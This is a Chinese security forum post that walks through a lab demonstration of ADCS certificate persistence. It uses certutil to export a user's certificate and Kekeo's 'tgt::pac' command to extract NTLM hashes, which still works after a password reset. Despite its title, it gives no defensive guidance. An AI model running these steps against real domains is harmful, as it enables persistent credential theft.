ADCS权限维持实战:基于证书服务的攻击与防范探讨

文章前言

本篇文章主要介绍如何通过证书服务来实现权限维持的目的

基本原理

在微软的文档里有一段话”当使用PKCA时,KDC在权限属性证书(PAC)中会返回用户的NTLM”,也就是说当使用证书进行Kerberos认证的时候,返回票据的PAC包里面还有NTLM票据,故可以用于获取用户NTLM Hash

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pkca/4e5fb325-eabc-4fac-a0da-af2b6b4430cb

图片[1]-ADCS权限维持实战:基于证书服务的攻击与防范探讨-山海云端论坛

如果我们控制的目标主机中存在企业CA,则用户(或计算机)可以请求注册任何可用模板的证书,在用户凭证被盗时,我们可以请求一个模板证书,该模板允许我们作为该用户(或机器)向Active Directory进行身份验证,由于证书是独立的身份验证材料,即使用户(或计算机)重置了密码,这些证书仍然可用~

漏洞利用

下面我们用一个案例来说明:

Step 1:控制域内一台主机,发现里面有个用户的证书

图片[2]-ADCS权限维持实战:基于证书服务的攻击与防范探讨-山海云端论坛

Step 2:查看可用证书

certutil -user -store My
图片[3]-ADCS权限维持实战:基于证书服务的攻击与防范探讨-山海云端论坛

Step 3:使用certutil导出证书(如果导出不了的话,就用mimikatz来导出证书)

certutil -user -exportPFX f418dede290437696deeb6f53f099f1b58c918fb c:\Users\Al1ex.HACKE\Desktop\Al1ex.pfx
图片[4]-ADCS权限维持实战:基于证书服务的攻击与防范探讨-山海云端论坛

Step 4:然后把pfx文件拷贝到我们自己的计算机,双击导入,输入刚刚我们输的密码

图片[5]-ADCS权限维持实战:基于证书服务的攻击与防范探讨-山海云端论坛
图片[6]-ADCS权限维持实战:基于证书服务的攻击与防范探讨-山海云端论坛
图片[7]-ADCS权限维持实战:基于证书服务的攻击与防范探讨-山海云端论坛
图片[8]-ADCS权限维持实战:基于证书服务的攻击与防范探讨-山海云端论坛

Step 5:然后在我们本地的计算机做个代理进内网,并且把DNS也代理进去(dns设置为内网的域控)

图片[9]-ADCS权限维持实战:基于证书服务的攻击与防范探讨-山海云端论坛

Step 6:使用Kekeo获取用户的NTLM

tgt::pac /subject:Al1ex /castore:current_user /domain:hacke.testlab
图片[10]-ADCS权限维持实战:基于证书服务的攻击与防范探讨-山海云端论坛
图片[11]-ADCS权限维持实战:基于证书服务的攻击与防范探讨-山海云端论坛

Step 7:修改用户密码——Kksvqm@123

图片[12]-ADCS权限维持实战:基于证书服务的攻击与防范探讨-山海云端论坛
图片[13]-ADCS权限维持实战:基于证书服务的攻击与防范探讨-山海云端论坛

Step 8:使用之前的证书依旧可以窃取的用户的NTLM Hash

tgt::pac /subject:Al1ex /castore:current_user /domain:hacke.testlab
图片[14]-ADCS权限维持实战:基于证书服务的攻击与防范探讨-山海云端论坛
图片[15]-ADCS权限维持实战:基于证书服务的攻击与防范探讨-山海云端论坛

文末小结

本篇文章主要介绍了ADCS在权限维持方面的应用,其实ADCS还可以用于权限提升、中级攻击等多维度,后续有机会在进行逐一分享

© 版权声明
THE END
喜欢就支持一下吧
点赞10 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容